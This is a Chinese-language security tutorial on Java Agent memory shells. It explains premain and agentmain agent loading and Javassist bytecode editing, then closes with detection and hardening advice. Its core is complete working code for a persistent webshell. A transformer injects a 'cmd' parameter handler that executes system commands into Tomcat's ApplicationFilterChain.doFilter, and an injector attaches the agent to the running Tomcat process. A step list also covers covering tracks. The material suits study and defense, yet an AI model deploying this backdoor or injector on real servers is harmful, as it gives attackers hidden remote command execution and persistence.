Java安全之Java Agent内存马
字数 2510 2025-11-11 12:09:43
Java Agent内存马技术详解
一、Java Agent基础概念
1.1 Java Agent介绍
Java Agent是Java提供的一种在不修改原始代码的前提下,对JVM中运行的类进行动态监控、增强或修改字节码的技术。它本质上是一个特殊的JAR包,通过JVM内置的Instrumentation API和钩子机制,在程序启动时(Premain)或运行时(Attach + Agentmain)介入类的加载与执行过程。
核心能力:
- 在类被JVM加载前(或已加载后通过重转换),动态修改其字节码
- 无需改动原有业务逻辑,即可插入监控、日志、安全检测或功能增强代码
- 广泛应用于性能诊断(如Arthas)、APM监控(如SkyWalking)、代码覆盖率分析(如JaCoCo)、AOP编程、热部署等场景
1.2 Java Agent工作原理
启动时机:
- premain模式:在JVM启动时,主程序main方法执行前加载,通过
-javaagent:agent.jar参数指定 - agentmain模式:在JVM运行过程中动态加载(需配合Attach API),可实现对已运行程序的干预
核心方法:
premain(String agentArgs, Instrumentation inst):premain模式的入口agentmain(String agentArgs, Instrumentation inst):agentmain模式的入口Instrumentation接口:提供类转换(addTransformer)、重新定义类(redefineClasses)等核心能力
类转换流程:
当类被加载时,JVM会回调Agent中注册的ClassFileTransformer接口的transform方法,该方法可对类的字节码(byte[])进行修改,返回修改后的字节码,JVM最终加载修改后的类。
二、Java Agent两种加载方式详解
2.1 环境准备
创建基础测试项目结构:
// Fish.java
package com.zifeiyu;
public class Fish {
public void swim(){
System.out.println("鱼在水中游动");
}
}
// Main.java
package com.zifeiyu;
public class Main {
public static void main(String[] args) throws InterruptedException {
Fish fish = new Fish();
while(true){
fish.swim();
Thread.sleep(1000);
}
}
}
2.2 启动时加载(premain)
实现步骤:
- Maven配置(pom.xml):
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestEntries>
<Premain-Class>PremainTest</Premain-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
</build>
- Premain入口类:
import java.lang.instrument.Instrumentation;
public class PremainTest {
public static void premain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new AgentTransformer());
}
}
- 类转换器实现:
import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class AgentTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("com/zifeiyu/Fish")){
return read("Fish.class"); // 替换为修改后的类文件
}
return null;
}
public static byte[] read(String path) {
try {
FileInputStream in = new FileInputStream(path);
byte[] data = new byte[in.available()];
in.read(data);
in.close();
return data;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
- 运行方式:
java -javaagent:/path/to/agent.jar -jar app.jar
2.3 运行中动态加载(agentmain)
实现步骤:
- Maven配置增强:
<manifestEntries>
<Agent-Class>AgentMainTest</Agent-Class>
<Premain-Class>PremainTest</Premain-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8</version>
<scope>system</scope>
<systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>
- Agentmain入口类:
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new AgentTransformer(), true);
for (Class<?> clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals("com.zifeiyu.Fish")) {
try {
inst.retransformClasses(clazz);
} catch (UnmodifiableClassException e) {
throw new RuntimeException(e);
}
}
}
}
}
- 动态附加程序:
import com.sun.tools.attach.VirtualMachine;
public class Attach {
public static void main(String[] args) throws Exception {
VirtualMachine vm = VirtualMachine.attach("目标进程PID");
vm.loadAgent("agent.jar路径");
vm.detach();
}
}
- 获取进程PID:
jps -l # 查找目标进程ID
三、Javassist字节码操作库
3.1 核心组件
| 类名 | 作用 |
|---|---|
| ClassPool | 类的容器,默认包含JVM已加载的类路径 |
| CtClass | 表示一个"可编辑"的Java类 |
| CtMethod/CtConstructor/CtField | 分别表示方法、构造器、字段 |
| ExprEditor | 高级编辑器,可遍历方法中的特定表达式 |
3.2 简单示例
import javassist.*;
public class JavassistDemo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("com.example.TargetClass");
CtMethod method = cc.getDeclaredMethod("sayHello");
method.insertBefore("{ System.out.println(\"[Before] Entering sayHello\"); }");
method.insertAfter("{ System.out.println(\"[After] Exiting sayHello\"); }");
Class<?> clazz = cc.toClass();
Object obj = clazz.newInstance();
clazz.getMethod("sayHello").invoke(obj);
}
}
3.3 Maven依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
四、Agent内存马实现
4.1 攻击原理
Agent内存马利用Java Agent的Attach机制,在目标JVM运行时动态注入恶意Agent JAR,通过Hook关键类实现持久化Webshell。
选择目标类:org.apache.catalina.core.ApplicationFilterChain
- Tomcat中所有请求必经之路
- 无需知道具体路由,全局入口
- 兼容Tomcat 6~10
- 在权限控制Filter之前执行
4.2 恶意代码植入
// 插入到ApplicationFilterChain.doFilter()方法的恶意代码
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process proc = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = proc.getInputStream();
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));
response.setContentType("text/html");
String line;
java.io.PrintWriter out = response.getWriter();
while ((line = br.readLine()) != null) {
out.println(line);
out.flush();
}
out.close();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
4.3 完整内存马实现
AgentTransformer类:
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class AgentTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(loader));
try {
CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
doFilter.insertBefore("{" +
"String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
" try {\n" +
" Process proc = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream in = proc.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" response.setContentType(\"text/html\");\n" +
" String line;\n" +
" java.io.PrintWriter out = response.getWriter();\n" +
" while ((line = br.readLine()) != null) {\n" +
" out.println(line);\n" +
" out.flush();\n" +
" }\n" +
" out.close();\n" +
" } catch (Exception e) {\n" +
" throw new RuntimeException(e);\n" +
" }\n" +
"}" +
"}");
return cc.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
return null;
}
}
进程查找和注入:
import com.sun.tools.attach.VirtualMachine;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.security.ProtectionDomain;
import java.net.URL;
public class Injector {
public static void main(String[] args) throws Exception {
String pid = getPID("org.apache.catalina.startup.Bootstrap");
String jar = getJar(Injector.class);
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(jar);
vm.detach();
}
public static String getJar(Class<?> clazz) {
ProtectionDomain protectionDomain = clazz.getProtectionDomain();
URL location = protectionDomain.getCodeSource().getLocation();
String path = location.getPath();
if (System.getProperty("os.name").toLowerCase().contains("win") && path.startsWith("/")) {
path = path.substring(1);
}
return path;
}
public static String getPID(String className) {
try {
Process process = Runtime.getRuntime().exec("jps -l");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
if (line.contains(className)) {
return line.split(" ")[0];
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return null;
}
}
4.4 实际攻击流程
- 获取目标进程PID:通过漏洞(如Spring Boot Actuator、JMX未授权访问)或系统命令执行获得
- 上传恶意Agent JAR:利用文件上传漏洞或直接通过内存写入
- 调用Attach API加载Agent:通过反射调用
sun.tools.attach.VirtualMachineImpl - Agent执行字节码插桩:在关键类中插入后门逻辑
- 清除痕迹:删除临时JAR文件,从内存中抹去Agent相关类引用
五、检测与防御
5.1 检测手段
技术检测:
- 监控Attach行为:记录
com.sun.tools.attach相关调用 - 检查Instrumentation实例:通过反射查看是否有非预期的
ClassFileTransformer - 字节码完整性校验:对比关键类的当前字节码与原始JAR中是否一致
- 安全产品监控:使用OpenRASP、青藤云、奇安信等支持Agent行为监控的产品
检测代码示例:
// 检查已注册的ClassFileTransformer
Instrumentation inst = getInstrumentationInstance();
for (ClassFileTransformer transformer : inst.getAllTransformers()) {
System.out.println("Transformer: " + transformer.getClass().getName());
}
5.2 防御建议
系统层面:
- 禁用Attach机制:
-Djdk.attach.allowAttachSelf=false、-XX:+DisableAttachMechanism - 最小权限原则:应用不要以root或高权限用户运行
- 启用SecurityManager(旧系统)
应用层面:
- 限制外部输入:防止反序列化、表达式注入等漏洞
- 定期内存快照分析:使用MAT、JProfiler等工具排查异常类或Transformer
- 代码审计:检查敏感类的字节码完整性
运维层面:
- 网络隔离:限制不必要的网络访问
- 进程监控:监控异常的JVM Attach操作
- 安全更新:及时更新JDK和中间件版本
六、总结
Java Agent本身是合法且强大的开发工具,广泛应用于APM、调试等领域。Agent内存马是其被滥用于攻击的产物,代表了Java Web攻击技术的高级形态。
技术特点:
- 高隐蔽性:恶意代码直接注入到合法类中
- 持久化:存活于内存中,重启后消失
- 绕过传统检测:不依赖Filter/Servlet注册表
防御关键:
- 纵深防御:结合漏洞治理 + 行为监控 + 运行时保护
- 最小权限:严格控制JVM运行权限
- 持续监控:建立完善的运行时安全监控体系
通过深入理解Java Agent机制和内存马实现原理,才能有效防御这类高级攻击手段,保障Java应用安全。